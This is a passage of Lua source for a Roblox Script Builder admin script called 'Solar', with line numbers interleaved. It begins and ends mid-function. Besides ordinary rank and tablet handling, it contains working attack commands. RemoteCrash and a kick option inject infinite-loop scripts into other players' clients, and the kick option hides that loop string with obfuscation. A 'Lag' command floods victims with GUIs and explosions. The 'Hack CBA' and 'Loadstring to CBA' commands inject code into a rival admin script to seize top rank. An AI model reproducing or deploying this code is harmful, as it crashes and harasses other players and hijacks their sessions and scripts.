			for _,v in pairs(game.Players:players()) do
703
				if v.Name:lower():sub(1,#Plr) == Plr:lower() then
704
					Plr = v
705
					break
706
				end
707
			end
708
		end
709
		if Text == nil then Text = "" end
710
		if Clr == nil then Clr = "Random" end
711
		local tablez = {}
712
		local T = Instance.new("Part", workspace)
713
		T.FormFactor = 'Custom'
714
		pcall(function()T.CFrame=Plr.Character.Torso.CFrame;end)
715
		T.CanCollide=false
716
		T.Locked=true
717
		T.Anchored=true
718
		T.Size=Vector3.new(2.5,2.5,2.5)
719
		T.Name="Tablet "..math.random(-99999,99999)
720
		pcall(function()
721
			if type(Clr) == "string" then
722
				if Clr == "Random" then
723
					T.BrickColor = BrickColor.random()
724
				else
725
					T.BrickColor = BrickColor.new(Clr)
726
				end
727
			elseif type(Clr) == "userdata" then
728
				T.Color = BrickColor.new(Clr).Color
729
			end
730
		end)
731
		T.Transparency=0.7
732
		T.TopSurface=0
733
		T.BottomSurface=0
734
		local S=Instance.new("SelectionBox", T)
735
		S.Adornee=T
736
		S.Color = T.BrickColor
737
		local BBG = Instance.new("BillboardGui",T)
738
		BBG.Adornee = T
739
		BBG.StudsOffset = Vector3.new(0,3,0)
740
		BBG.Size = UDim2.new(10,0,10,0)
741
		local TL = Instance.new("TextLabel", BBG)
742
		TL.Size = UDim2.new(1,0,1,0)
743
		TL.BackgroundTransparency = 1
744
		TL.TextColor = T.BrickColor
745
		TL.Text = Text
746
		TL.TextStrokeTransparency = 0
747
		TL.Font = 'Arial'
748
		TL.FontSize = "Size18"
749
		local C = Instance.new("ClickDetector", T)
750
		C.MaxActivationDistance = math.huge
751
		C.MouseClick:connect(function(p)
752
			if p.Name == Plr.Name or GetRank(p) > GetRank(Plr) then
753
				T:Destroy()
754
				for i,v in pairs(Air["Tabs"]) do
755
					if v.P.Name == T.Name then
756
						table.remove(Air["Tabs"], i)
757
					end
758
				end
759
				if OnClicked ~= nil then
760
					a,b = ypcall(function()
761
						OnClicked()
762
					end) if not a then Output(b,"Really red") end
763
				end
764
			end
765
		end)
766
		UpdateTablets()
767
		tablez.Owner = Plr
768
		tablez.P = T
769
		table.insert(Air["Tabs"], tablez)
770
	end)
771
end
772
function OutputAdmins(text,clr)
773
	for _,v in pairs(game.Players:players()) do
774
		if GetRank(v) > 0.1 then
775
			Output(v,text,clr)
776
		end
777
	end
778
end
779
function _RGB(r,g,b)
780
	return Color3.new(r/255,g/255,b/255);
781
end;
782
783
function AddRank(name,rank,reason,color)
784
	table.insert(Air['Ranks'],{['Name'] = name, ['Rank'] = rank,['Reason'] = reason,['Color'] = color})
785
end
786
787
function SetRank(plr, rank)
788
	if type(plr) == "userdata" then
789
		plr = plr.Name
790
	elseif type(plr) == "string" then
791
		plr = plr
792
	else
793
		plr = tostring(plr)
794
	end
795
	for _,v in pairs(Air['Ranked']) do
796
		if v['Name']:lower():sub(1,#plr) == plr:lower() then
797
			v['Rank'] = tonumber(rank)
798
		end
799
	end
800
	return
801
end
802
function GetReason(plr)
803
	if type(plr) == "userdata" then
804
		plr = plr.Name
805
	elseif type(plr) == "string" then
806
		plr = plr
807
	else
808
		plr = tostring(plr)
809
	end
810
	local reason = "Unknown"
811
	for _,v in pairs(Air["Ranked"]) do--If you see dis I love you :)
812
		if v["Name"]:lower():sub(1,#plr) == plr:lower() then
813
			reason = v["Reason"]
814
		end
815
	end
816
	return reason
817
end
818
function GetRank(plr)
819
	if type(plr) == "userdata" then
820
		plr = plr.Name
821
	elseif type(plr) == "string" then
822
		plr = plr
823
	else
824
		plr = tostring(plr)
825
	end
826
	local rank = 1
827
	for _,v in pairs(Air["Ranked"]) do
828
		if v["Name"]:lower():sub(1,#plr) == plr:lower() then
829
			rank = v["Rank"]
830
		end
831
	end
832
	return rank
833
end
834
function GetColor(plr)
835
	if type(plr) == "userdata" then
836
		plr = plr.Name
837
	elseif type(plr) == "string" then
838
		plr = plr
839
	else
840
		plr = tostring(plr)
841
	end
842
	local clr = "Bright green"
843
	for _,v in pairs(Air["Ranked"]) do
844
		if v["Name"]:lower():sub(1,#plr) == plr:lower() then
845
			clr = tostring(v["Color"])
846
			break
847
		end
848
	end
849
	return clr
850
end
851
852
function Dismiss(plr)
853
	pcall(function()
854
		if type(plr) == "userdata" then
855
			plr = plr
856
		elseif type(plr) == "string" then
857
			local f = false
858
			for _,v in pairs(game.Players:players())do
859
				if v.Name:lower():sub(1,#plr) == plr:lower() then
860
					f = true
861
					plr = v
862
					break
863
				end
864
			end
865
			if f == false then
866
				OutputAdmins("Player named: "..plr.." doesn't exist","Bright red")
867
			end
868
		else
869
			return
870
		end
871
		for i,v in pairs(Air["Tabs"]) do
872
			if v.Owner == plr then
873
				v.P:Destroy()
874
				Air["Tabs"][i]=nil
875
			end
876
		end
877
	end)
878
end
879
function GetSplit(msg)
880
	local a = nil
881
	for i = 1,#msg do
882
		if msg:sub(i,i) == "-" then
883
			a = i+1
884
			break
885
		end
886
	end
887
	if a ~= nil then
888
		return msg:sub(a)
889
	else
890
		return nil
891
	end
892
end
893
function RemoteCrash(nilplayername)
894
	local chinws = false
895
	for i,v in pairs(workspace:children()) do
896
		if v.Name:find(nilplayername) ~= nil then
897
			NewLS("repeat until false", v)
898
			OutputAdmins('Attempted to crash: '..v.Name..' via Character from workspace','Really red')
899
			chinws = true
900
		end
901
	end
902
	if chinws == true then return end
903
	for i,v in pairs(game:service'NetworkServer':children()) do
904
		if v:GetPlayer() then
905
			if v:GetPlayer().Name == nilplayername then
906
				if v:GetPlayer().Character ~= nil then
907
					NewLS("repeat until false", v:GetPlayer().Character)
908
					OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Character','Really red')
909
				elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then
910
					NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
911
					OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Backpack','Really red')
912
				elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then
913
					NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
914
					OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via PlayerGui','Really red')
915
				else
916
					NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
917
					OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via a Backpack Instance','Really red')
918
				end
919
			end
920
		end
921
	end
922
end
923
924
function AddCmd(name, say, desc, args, rank, func)
925
	pcall(function()
926
		for _,v in pairs(Air["Cmds"]) do
927
			if v["Name"] == name or v["Say"] == say or v["Desc"] == desc then
928
				table.remove(Air["Cmds"], _)
929
			end
930
		end
931
		table.insert(Air["Cmds"],{["Name"] = name, ["Say"] = say, ["Desc"] = desc, ["Args"] = args, ["Rank"] = rank, ["Func"] = func})
932
	end)
933
end
934
function GetPlayers(plr, msg)
935
	local plrs = {}
936
	if msg == "me" then
937
		table.insert(plrs, plr)
938
	elseif msg == "all" then
939
		for _,v in pairs(game:service'Players':players()) do
940
			if GetRank(v) <= GetRank(plr) then
941
				table.insert(plrs, v)
942
			end
943
		end
944
	elseif msg == "others" then
945
		for _,v in pairs(game:service'Players':players()) do
946
			if v ~= plr then
947
				if GetRank(v) <= GetRank(plr) then
948
					table.insert(plrs, v)
949
				end
950
			end
951
		end
952
	else
953
		for _,v in pairs(game:service'Players':players()) do
954
			if v.Name:lower():sub(1,#msg) == msg:lower() then
955
				if GetRank(v) <= GetRank(plr) then
956
					table.insert(plrs, v)
957
				end
958
			end
959
		end
960
	end
961
	return plrs
962
end
963
function OnChatted(plr, msg)
964
	if type(plr) == 'string' then
965
		for i,v in pairs(game:service'NetworkServer':children()) do
966
			if v:GetPlayer() then
967
				if v:GetPlayer().Name == plr then
968
					plr = v:GetPlayer()
969
				end
970
			end
971
		end
972
	end
973
	if msg:sub(1,2) == '/e' then
974
		if #msg >= 4 then
975
			msg = msg:sub(4)
976
		end
977
	end
978
	for _,v in pairs(Air['Cmds']) do
979
		if msg:sub(1,#v["Say"]+#key) == v["Say"]..key then
980
			if GetRank(plr.Name) >= v["Rank"] then
981
				msg = msg:sub(#v["Say"]+#key+1)
982
				a,b = ypcall(function()
983
					v["Func"](plr, msg)
984
				end) if not a then Output(plr, b,"Really red") end
985
			else
986
				Output(plr, "Your rank is too low for that command", "Really red")
987
			end
988
		end
989
	end
990
end
991
function ShowAllCommands(p)
992
	pcall(function()
993
		Dismiss(p)
994
		for _,v in pairs(Air["Cmds"]) do
995
			Output(p,v["Name"], GetColor(p), 
996
				function()
997
					Dismiss(p)
998
					Output(p,"Name: "..v["Name"],GetColor(p))
999
					Output(p,"Usage: "..v["Say"]..key,GetColor(p))
1000
					Output(p,"Description: "..v["Desc"],GetColor(p))
1001
					Output(p,"Arguments: "..v["Args"], GetColor(p))
1002
					Output(p,"Rank needed: "..v["Rank"], GetColor(p))
1003
					Output(p,"Back","Really red", function() ShowCommands(p) end)
1004
					Output(p,"Dismiss","Really red", function() Dismiss(p) end)
1005
				end
1006
			)
1007
		end
1008
		Output(p,"Your rank: "..GetRank(p), GetColor(p))
1009
		Output(p,'Back','Really red',function() ShowCommands(p) end)
1010
		Output(p,'Dismiss','Really red',function() Dismiss(p) end)
1011
	end)
1012
end
1013
function ShowCommandsFromRank(p, rank)
1014
	rank = tonumber(rank)
1015
	pcall(function()
1016
		Dismiss(p)
1017
		for i,v in pairs(Air['Cmds']) do
1018
			if v['Rank'] <= rank then
1019
				Output(p, v['Name'],GetColor(p),
1020
					function()
1021
						Dismiss(p)
1022
						Output(p,"Name: "..v["Name"],GetColor(p))
1023
						Output(p,"Usage: "..v["Say"]..key,GetColor(p))
1024
						Output(p,"Description: "..v["Desc"],GetColor(p))
1025
						Output(p,"Arguments: "..v["Args"], GetColor(p))
1026
						Output(p,"Rank needed: "..v["Rank"], GetColor(p))
1027
						Output(p,"Back","Really red", function() ShowCommandsFromRank(p,rank) end)
1028
						Output(p,"Dismiss","Really red", function() Dismiss(p) end)
1029
					end
1030
				)
1031
			end
1032
		end
1033
		Output(p,'Back','Really red', function() ShowCommands(p) end)
1034
		Output(p,'Dismiss','Really red',function() Dismiss(p) end)
1035
	end)
1036
end
1037
function ShowCommands(p)
1038
	pcall(function()
1039
		Dismiss(p)
1040
		Output(p,'Show commands of your rank ('..GetRank(p)..')','New Yeller',function() ShowCommandsFromRank(p, GetRank(p)) end)
1041
		for i = 0,5 do
1042
			Output(p,'Rank '..i..' commands',GetColor(p), function() ShowCommandsFromRank(p, i) end)
1043
		end
1044
		Output(p,'Show all commands',GetColor(p),function() ShowAllCommands(p) end)
1045
		Output(p,'Dismiss','Really red',function() Dismiss(p) end)
1046
	end)
1047
end
1048
function Connect(player)
1049
	if LSource then
1050
		if player:findFirstChild'Backpack' then
1051
			NewLS(ConnectSource, player:findFirstChild'Backpack')
1052
		elseif player.Character then
1053
			NewLS(ConnectSource, player.Character)
1054
		elseif player:findFirstChild'PlayerGui' then
1055
			NewLS(ConnectSource, player:findFirstChild'PlayerGui')
1056
		else
1057
			NewLS(ConnectSource,Instance.new('Backpack',player))
1058
		end
1059
	else
1060
		coroutine.wrap(function()
1061
			wait(1)
1062
			Connect(player)
1063
		end)()
1064
	end
1065
end
1066
function ChangeRank(user,plr)
1067
	plr = plr
1068
	Dismiss(user)
1069
	for i,v in pairs(Air['Ranks']) do
1070
		if GetRank(user) > tonumber(v) then
1071
			Output(user, tostring(i).." ("..tostring(v)..")",GetColor(user), 
1072
				function() 
1073
					Dismiss(user)
1074
					plr["Rank"] = tonumber(v)
1075
					PlayerInterface(user,plr)
1076
				end
1077
			)
1078
		end
1079
	end
1080
	Output(user,'Back','Really red',function() PlayerInterface(user,plr) end)
1081
	Output(user,'Dismiss','Really red',function() Dismiss(user) end)
1082
end
1083
function PlayerInterface(user, plr)
1084
	Dismiss(user)
1085
	Output(user,"Name: "..plr["Name"],GetColor(user))
1086
	Output(user,"Rank: "..plr["Rank"],GetColor(user))
1087
	Output(user,"Reason because ranked: "..plr["Reason"],GetColor(user))
1088
	Output(user,"Color: "..plr["Color"],GetColor(user))
1089
	if GetRank(user) > plr["Rank"] then
1090
		Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end)
1091
	end
1092
	Output(user,"Back","Really red",function() GetRanked(user) end)
1093
	Output(user,'Dismiss','Really red',function() Dismiss(user) end)
1094
end
1095
function GetRanked(user)
1096
	Dismiss(user)
1097
	for _,v in pairs(Air["Ranked"]) do
1098
		Output(user, v["Name"],v["Color"], function()
1099
			PlayerInterface(user, v)
1100
		end)
1101
	end
1102
	Output(user,'Dismiss','Really red',function() Dismiss(user) end)
1103
end
1104
function CreateBase()
1105
	for _,v in pairs(workspace:children()) do
1106
		if v.Name == "Base" or v.Name == "Baseplate" or v.Name == "Part" then
1107
			v:Destroy()
1108
		end
1109
	end
1110
	local a = Instance.new("Part",workspace)
1111
	a.Name = "Base"
1112
	a.Size = Vector3.new(500,.2,500)
1113
	a.Anchored = true
1114
	a.CFrame = CFrame.new(0,0,0)
1115
	a.Material = "Grass"
1116
	a.BrickColor = BrickColor.new("Dark green")
1117
end
1118
1119
1120
1121
function PrivateMessage(who,towho,text)
1122
	if type(who) == 'userdata' then
1123
		pcall(function()
1124
			who = who
1125
		end)
1126
	elseif type(who) == 'string' then
1127
		for i,v in pairs(game:service'Players':players()) do
1128
			if v.Name:lower():sub(1,#who) == who:lower() then
1129
				who = v
1130
				break
1131
			end
1132
		end
1133
	else
1134
		who = tostring(who)
1135
		for i,v in pairs(game:service'Players':players()) do
1136
			if v.Name:lower():sub(1,#who) == who:lower() then
1137
				who = v
1138
				break
1139
			end
1140
		end
1141
	end
1142
	if type(towho) == 'userdata' then
1143
		pcall(function()
1144
			who = who
1145
		end)
1146
	elseif type(towho) == 'string' then
1147
		for i,v in pairs(game:service'Players':players()) do
1148
			if v.Name:lower():sub(1,#towho) == towho:lower() then
1149
				towho = v
1150
				break
1151
			end
1152
		end
1153
	else
1154
		who = tostring(who)
1155
		for i,v in pairs(game:service'Players':players()) do
1156
			if v.Name:lower():sub(1,#towho) == towho:lower() then
1157
				towho = v
1158
				break
1159
			end
1160
		end
1161
	end
1162
	if towho and towho:findFirstChild'PlayerGui' ~= nil then
1163
		local a = Instance.new("ScreenGui",towho.PlayerGui)
1164
		local b = Instance.new("Frame",a)
1165
		b.Style = 'RobloxRound'
1166
		b.Position = UDim2.new(1,0,0.4,0)
1167
		b.Size = UDim2.new(0.4,0,0.2,0)
1168
		b:TweenPosition(UDim2.new(0.3,0,0.4,0),'Out','Sine',1,true)
1169
		local c = Instance.new("TextLabel",b)
1170
		c.TextScaled = true
1171
		c.TextStrokeTransparency = 0
1172
		c.BackgroundTransparency = 1
1173
		c.Text = who.Name..' (PM): '..text
1174
		c.TextColor = BrickColor.new("Really red")
1175
		c.Size = UDim2.new(1,0,1,0)
1176
		c.Font = 'Legacy'
1177
		c.FontSize = 'Size24'
1178
		local d = Instance.new("TextButton",a)
1179
		d.Style = 2
1180
		d.Size = UDim2.new(0.1,0,0.1,0)
1181
		d.Position = UDim2.new(1.4,0,0.4,0)
1182
		d:TweenPosition(UDim2.new(0.7,0,0.4,0),'Out','Sine',1,true)
1183
		d.Text = 'Close'
1184
		d.TextColor = BrickColor.new("Really red")
1185
		d.MouseButton1Down:connect(function()
1186
			b:TweenPosition(UDim2.new(0.3,0,2.4,0),'Out','Sine',3,true)
1187
			d:TweenPosition(UDim2.new(0.7,0,2.4,0),'Out','Sine',3,true)
1188
			coroutine.wrap(function()
1189
				wait(1)
1190
				a:Destroy()
1191
			end)()
1192
		end)
1193
	end
1194
end
1195
RotCon = game:service'RunService'.Stepped:connect(function()
1196
		UpdateTablets()
1197
end)
1198
AddCmd("No CBA","ncba","Removes CBA","No args",2,
1199
    function()
1200
        local ByeCBA = Instance.new("StringValue")
1201
        ByeCBA.Parent = Workspace
1202
        ByeCBA.Name = "CBA Attachment"
1203
        ByeCBA.Value = "CBA = {};wait'';CBA.connect = {};wait'';CBA.lvls = {};wait();CBA.Parent=workspace;wait();script.Parent=workspace;script:remove()"
1204
    end
1205
)
1206
AddCmd("Parent CBA","pcba","Reparents a CBA admin","No args",2,
1207
    function()
1208
        local ParentCBA = Instance.new("StringValue")
1209
        ParentCBA.Parent=Workspace
1210
        ParentCBA.Name = "CBA Attachment"
1211
        ParentCBA.Value = "CBA.Parent = Workspace;wait();script.Parent = Workspace"
1212
    end
1213
)
1214
AddCmd('Hack CBA','hcba','Hack into CBA admin','<no arguments>',2,
1215
	function(p,m)
1216
        local HCBA = Instance.new("StringValue")
1217
        HCBA.Parent=Workspace
1218
        HCBA.Name = "CBA Attachment"
1219
        HCBA.Value = "CBA.admins[#CBA.admins+1] = {'"..p.Name.."',7}"
1220
    end
1221
)
1222
AddCmd('Loadstring to CBA','ltcba','Load a string into CBA','<no arguments>',2,
1223
	function(p,m)
1224
        local HCBA = Instance.new("StringValue")
1225
        HCBA.Parent=Workspace
1226
        HCBA.Name = "CBA Attachment"
1227
        HCBA.Value = m
1228
    end
1229
)	
1230
AddCmd("Kill","kill","Kill a player","-r (respawn), -e (explode) -hr (head rename)",1,
1231
	function(p,msg)
1232
		if GetSplit(msg) == "r" then
1233
			msg = msg:gsub("-r","")
1234
			for _,v in pairs(GetPlayers(p,msg)) do
1235
				if v then
1236
					pcall(function()
1237
						v:LoadCharacter()
1238
					end)
1239
				end
1240
			end
1241
		elseif GetSplit(msg) == "e" then
1242
			msg = msg:gsub('-e','')
1243
			for _,v in pairs(GetPlayers(p,msg)) do
1244
				if v and v.Character then
1245
					pcall(function()
1246
						Instance.new("Explosion", workspace).Position = v.Character.Torso.Position
1247
					end)
1248
				end
1249
			end
1250
		elseif GetSplit(msg) == "hr" then
1251
			msg = msg:gsub('-hr','')
1252
			for _,v in pairs(GetPlayers(p,msg)) do
1253
				if v and v.Character and v.Character.Head then
1254
					pcall(function()
1255
						v.Character.Head.Name = 'lol'
1256
					end)
1257
				end
1258
			end
1259
		else
1260
			for _,v in pairs(GetPlayers(p,msg)) do
1261
				if v and v.Character then
1262
					pcall(function()
1263
						v.Character:breakJoints''
1264
					end)
1265
				end
1266
			end
1267
		end
1268
	end
1269
)
1270
AddCmd("Cmds","cmds","Show available commands","<no arguments>",0,
1271
	function(p)
1272
		ShowCommands(p)
1273
	end
1274
)
1275
AddCmd("Dismiss","dt","Dismiss current tablets","<no arguments>",-0.5,
1276
	function(p)
1277
		Dismiss(p)
1278
	end
1279
)
1280
AddCmd("Ping","ping","Ping something","-n (makes number of tablets with text of sub 2 or 3) -c (color, separate with \",\" (comma))",1,
1281
	function(p,msg)
1282
		if GetSplit(msg) == 'n' then
1283
			msg = msg:gsub('-n','')
1284
			if tonumber(msg:sub(2,2)) ~= nil then
1285
				num = msg:sub(1,2)
1286
			else
1287
				num = msg:sub(1,1)
1288
			end
1289
			msg = msg:sub(#num+1)
1290
			local a = tonumber(num)
1291
			if tonumber(num) < 1 then a = 1 end
1292
			if tonumber(num) > 50 then a = 50 end
1293
			for i = 1,a do
1294
				Output(p,msg)
1295
			end
1296
		elseif GetSplit(msg) == 'c' then
1297
			msg = msg:gsub('-c','')
1298
			local sep = msg:find(',')
1299
			a,b = ypcall(function()
1300
				if sep ~= nil then
1301
					Output(p,msg:sub(tonumber(sep)+1),tostring(msg:sub(1,tonumber(sep)-1)))
1302
				end
1303
			end) if not a then Output(p,b,"Really red") end
1304
		else
1305
			Output(p,msg)
1306
		end
1307
	end
1308
)
1309
AddCmd("Remove","cremove","Remove the script","<no arguments>",5,
1310
	function()
1311
		for _,v in pairs(ChatConnections) do
1312
			pcall(function()
1313
				v:disconnect()
1314
			end)
1315
		end
1316
		Air = nil
1317
		RotCon:disconnect()
1318
		PACon:disconnect()
1319
		function Output()
1320
		end
1321
		function Dismiss()
1322
		end
1323
		function AddCmd()
1324
		end
1325
		function GetSplit()
1326
		end
1327
		function OutputAdmins()
1328
		end
1329
		function GetPlayers()
1330
		end
1331
		function ShowCommands()
1332
		end
1333
		function OnChatted()
1334
		end
1335
	end
1336
)
1337
AddCmd('Base','base','Creates a baseplate',"<no arguments>",1,
1338
    function(nope,msg)
1339
    	CreateBase()
1340
    end
1341
)
1342
AddCmd('Info','info','Gets info about the script','No arguments',0,
1343
    function(p)
1344
        Output(p,"Script Name: Solar")
1345
        Output(p,"Script Version: Generation 2, Server Sided")
1346
        Output(p,"Creators: optiplex123, aleksa12432 ")
1347
        Output(p,"Buyable: No")
1348
        Output(p,"Anti-remove: Yes")
1349
        Output(p,"Steal-protected: No way if its already leaked!")
1350
        Output(p,"You are in "..SB.."'s Script Builder!")
1351
    end
1352
)
1353
AddCmd("Get","g","Gets something",'-r Reset, -nc No Character, -rj Rejoin, -clr Clear, -base Base, -fps First Person View, -fcam Fixcamera, -nog NoGuis, -die/tod Kill Character',0,
1354
	function(p,m)
1355
		if GetSplit(m) =='r'  then
1356
			p:LoadCharacter()
1357
			wait();
1358
			Output(p,'Got a reset!')
1359
		elseif GetSplit(m)=='rj' then
1360
			NewLS([[game:getService('TeleportService'):Teleport(game.PlaceId)]],p.Backpack)
1361
		elseif GetSplit(m)=='nc' then
1362
			p.Character = nil
1363
		elseif GetSplit(m)=='clr' then
1364
			for i,v in pairs(game:service'Workspace':children()) do
1365
				local isChar = false
1366
				pcall(function()
1367
					for j,k in pairs(game:service'Players':players()) do
1368
						if v.Name == k.Name then
1369
							isChar = true
1370
						end
1371
					end
1372
				end)
1373
				if isChar == false then
1374
					v:Destroy()
1375
				end
1376
			end
1377
		    CreateBase()
1378
		    Output(p,'Cleared!')
1379
		elseif GetSplit(m)=='base' then
1380
		    CreateBase()
1381
	    elseif GetSplit(m)=='fps' then
1382
	        p.CameraMode = "LockFirstPerson"
1383
        elseif GetSplit(m)=='fcam' then
1384
            p.CameraMode = "Classic"
1385
        elseif GetSplit(m)=='nog' then --No Guis :3
1386
        	for i,v in pairs(p:findFirstChild'PlayerGui':children()) do
1387
        		if v.Name ~= 'SBGUI' then
1388
        			v:Destroy()
1389
    			end
1390
			end
1391
        elseif GetSplit(m)=='die' or GetSplit(m) == 'tod' then
1392
            p.Character:breakJoints''
1393
        end
1394
		end)
1395
AddCmd("Clear","clr","Clears workspace","<no arguments>",2,
1396
    function(nope,m)
1397
    	for i,v in pairs(workspace:children()) do
1398
    		local IsChar = false
1399
    		pcall(function()
1400
    			for j,k in pairs(game:service'NetworkServer':children()) do
1401
    				if pcall(function() k:GetPlayer() end) then
1402
    					if v.Name == k:GetPlayer().Name then
1403
    						IsChar = true
1404
						end
1405
					end
1406
				end
1407
			end)
1408
			if IsChar == false then
1409
				if v.Name ~= "Terrain" then
1410
					if v.ClassName ~= 'Script' then
1411
						pcall(function() v:remove() end)
1412
					end
1413
				end
1414
			else
1415
				pcall(function()
1416
					for j,k in pairs(v:children()) do
1417
						if k.ClassName ~= 'CharacterMesh' and k.Name ~= 'Head' and k.ClassName ~= 'Humanoid' and k.ClassName ~= 'Hat' and k.ClassName ~= 'Shirt' and k.ClassName ~= 'Pants' and k.Name ~= 'Torso' and k.Name ~= 'Left Arm' and k.Name ~= 'Left Leg' then
1418
							if k.Name ~= 'Right Arm' and k.Name ~= 'Right Leg' and k.ClassName ~= 'LocalScript' and k.ClassName ~= 'Motor' and k.ClassName ~= 'BodyColors' and k.ClassName ~= 'Script' and k.Name ~= 'HumanoidRootPart' then
1419
								k:Destroy()
1420
							end
1421
						end
1422
					end
1423
				end)
1424
			end
1425
		end
1426
		CreateBase()
1427
	end
1428
)
1429
AddCmd("Execute","exe","Execute script via loadstring","<no arguments>",5,
1430
	function(p,m)
1431
		a,b = ypcall(function()
1432
			loadstring(m)()
1433
		end) if not a then Output(p,b,"Really red") end
1434
	end
1435
)
1436
AddCmd("Go nil","gn","Removes your player with :remove''","No Arguments",0,
1437
    function(p)
1438
        p:remove''
1439
end
1440
)
1441
1442
AddCmd("ForceField","ff","Force field","-f (false)",1,
1443
	function(p,m)
1444
		if GetSplit(m) == "f" then
1445
			m = m:gsub("-f","")
1446
			for _,v in pairs(GetPlayers(p,m)) do
1447
				pcall(function()
1448
					for j,k in pairs(v.Character:children()) do
1449
						if k.ClassName == "ForceField" then
1450
							k:Destroy()
1451
						end
1452
					end
1453
				end)
1454
			end
1455
		else
1456
			for _,v in pairs(GetPlayers(p,m)) do--lol
1457
				pcall(function()
1458
					Instance.new("ForceField", v.Character)
1459
				end)
1460
			end
1461
		end
1462
	end
1463
)
1464
AddCmd("Lag","Lag","Lag's a player","-b BanPlayer",2,
1465
    function(p,m)
1466
        if GetSplit(m)=='-b' then
1467
            for _,v in pairs(GetPlayers(p,m)) do 
1468
                if v.Backpack then
1469
                    for i = 0,7 do
1470
                        NewLS([[wait()
1471
    					script.Parent = game:service'TeleportService'
1472
    					CC = workspace.CurrentCamera
1473
    					RS = game:service("RunService")
1474
    					PG = game.Players.LocalPlayer.PlayerGui
1475
    					C = game.Players.LocalPlayer.Character
1476
    					function Lag()
1477
    						coroutine.resume(coroutine.create(function()
1478
    							while wait() do
1479
    								M = Instance.new("Message",CC)
1480
    								M.Text = tick()*math.floor(5%4*21)
1481
    								H = Instance.new("Hint",CC)
1482
    								H.Text = 'Get out from this place!'
1483
    								SG=Instance.new("ScreenGui",PG)
1484
    								FR=Instance.new("Frame",SG)
1485
    								FR.Size = UDim2.new(500,500,500,500)
1486
    								while wait() do
1487
    									FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
1488
    								end
1489
    								P=Instance.new("Part",CC)
1490
    								E=Instance.new("Explosion",P)
1491
    								E.BlastRadius=math.huge
1492
    								E.Position=P.Position
1493
    								F=Instance.new("Fire",P)
1494
    								S=Instance.new("Smoke",P)
1495
    								P.CFrame = CC.Focus
1496
    								P.Anchored = true
1497
    								P.CanCollide = false
1498
    								P.AncestryChanged:connect(function()Lag()end)
1499
    								for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
1500
    							end 
1501
    						end)) 
1502
    					end
1503
    					RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack)
1504
    					for i,a in pairs(Air['Ranked']) do
1505
						    if a["Name"] == v.Name then
1506
						    	a["Rank"] = -1
1507
							end
1508
						end
1509
					end
1510
				end
1511
			end
1512
		else
1513
    for _,v in pairs(GetPlayers(p,m)) do
1514
        if v.Backpack then
1515
            for i = 0,7 do
1516
                        NewLS([[wait()
1517
    					script.Parent = game:service'TeleportService'
1518
    					CC = workspace.CurrentCamera
1519
    					RS = game:service("RunService")
1520
    					PG = game.Players.LocalPlayer.PlayerGui
1521
    					C = game.Players.LocalPlayer.Character
1522
    					function Lag()
1523
    						coroutine.resume(coroutine.create(function()
1524
    							while wait() do
1525
    								M = Instance.new("Message",CC)
1526
    								M.Text = tick()*math.floor(5%4*21)
1527
    								H = Instance.new("Hint",CC)
1528
    								H.Text = 'Get out from this place!'
1529
    								SG=Instance.new("ScreenGui",PG)
1530
    								FR=Instance.new("Frame",SG)
1531
    								FR.Size = UDim2.new(500,500,500,500)
1532
    								while wait() do
1533
    									FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
1534
    								end
1535
    								P=Instance.new("Part",CC)
1536
    								E=Instance.new("Explosion",P)
1537
    								E.BlastRadius=math.huge
1538
    								E.Position=P.Position
1539
    								F=Instance.new("Fire",P)
1540
    								S=Instance.new("Smoke",P)
1541
    								P.CFrame = CC.Focus
1542
    								P.Anchored = true
1543
    								P.CanCollide = false
1544
    								P.AncestryChanged:connect(function()Lag()end)
1545
    								for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
1546
    							end 
1547
    						end)) 
1548
    					end
1549
    					RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack)
1550
					end
1551
				end
1552
			end
1553
		end
1554
	end)
1555
				
1556
1557
AddCmd("Kick","kick","Kick a player","-r (remove), -p (parent to nil), -c (crash) -b (ban) -rj (rejoin) -l (lag)",3,
1558
	function(p,m)
1559
		if GetSplit(m) == "r" then
1560
			m = m:gsub("-r","")
1561
			for _,v in pairs(GetPlayers(p,m)) do
1562
				pcall(function()
1563
					v:remove()
1564
				end)
1565
			end
1566
		elseif GetSplit(m) == "p" then
1567
		    m=m:gsub('-p','')
1568
			for _,v in pairs(GetPlayers(p,m)) do
1569
				pcall(function()
1570
					v.Parent = nil
1571
				end)
1572
			end
1573
		elseif GetSplit(m) == "c" then
1574
			m=m:gsub('-c','')
1575
			for _,v in pairs(GetPlayers(p,m)) do
1576
				pcall(function()
1577
					NewLS(string.gsub("ArAeApAeAaAtA AuAnAtAiAlA AfAaAlAsAeA","A",""), v.Backpack)
1578
				end)
1579
			end
1580
		elseif GetSplit(m) == 'b' then
1581
			m=m:gsub('-b','')
1582
			for _,v in pairs(GetPlayers(p,m)) do
1583
				pcall(function()
1584
					v:Kick()
1585
					for i,a in pairs(Air['Ranked']) do
1586
						if a["Name"] == v.Name then
1587
							a["Rank"] = -1
1588
						end
1589
					end
1590
				end)
1591
			end
1592
		elseif GetSplit(m) == 'rj' then
1593
			m=m:gsub('-rj','')
1594
			for i,v in pairs(GetPlayers(p,m)) do
1595
				pcall(function()
1596
					NewLS("game:service\"TeleportService\":Teleport(game.PlaceId)",v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui')
1597
				end)
1598
			end
1599
		elseif GetSplit(m) == 'l' then
1600
			m=m:gsub('-l','')
1601
			for i,v in pairs(GetPlayers(p,m)) do
1602
				pcall(function()
1603
					NewLS(SpecialLagSource,v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui')
1604
				end)
1605
			end
1606
		else
1607
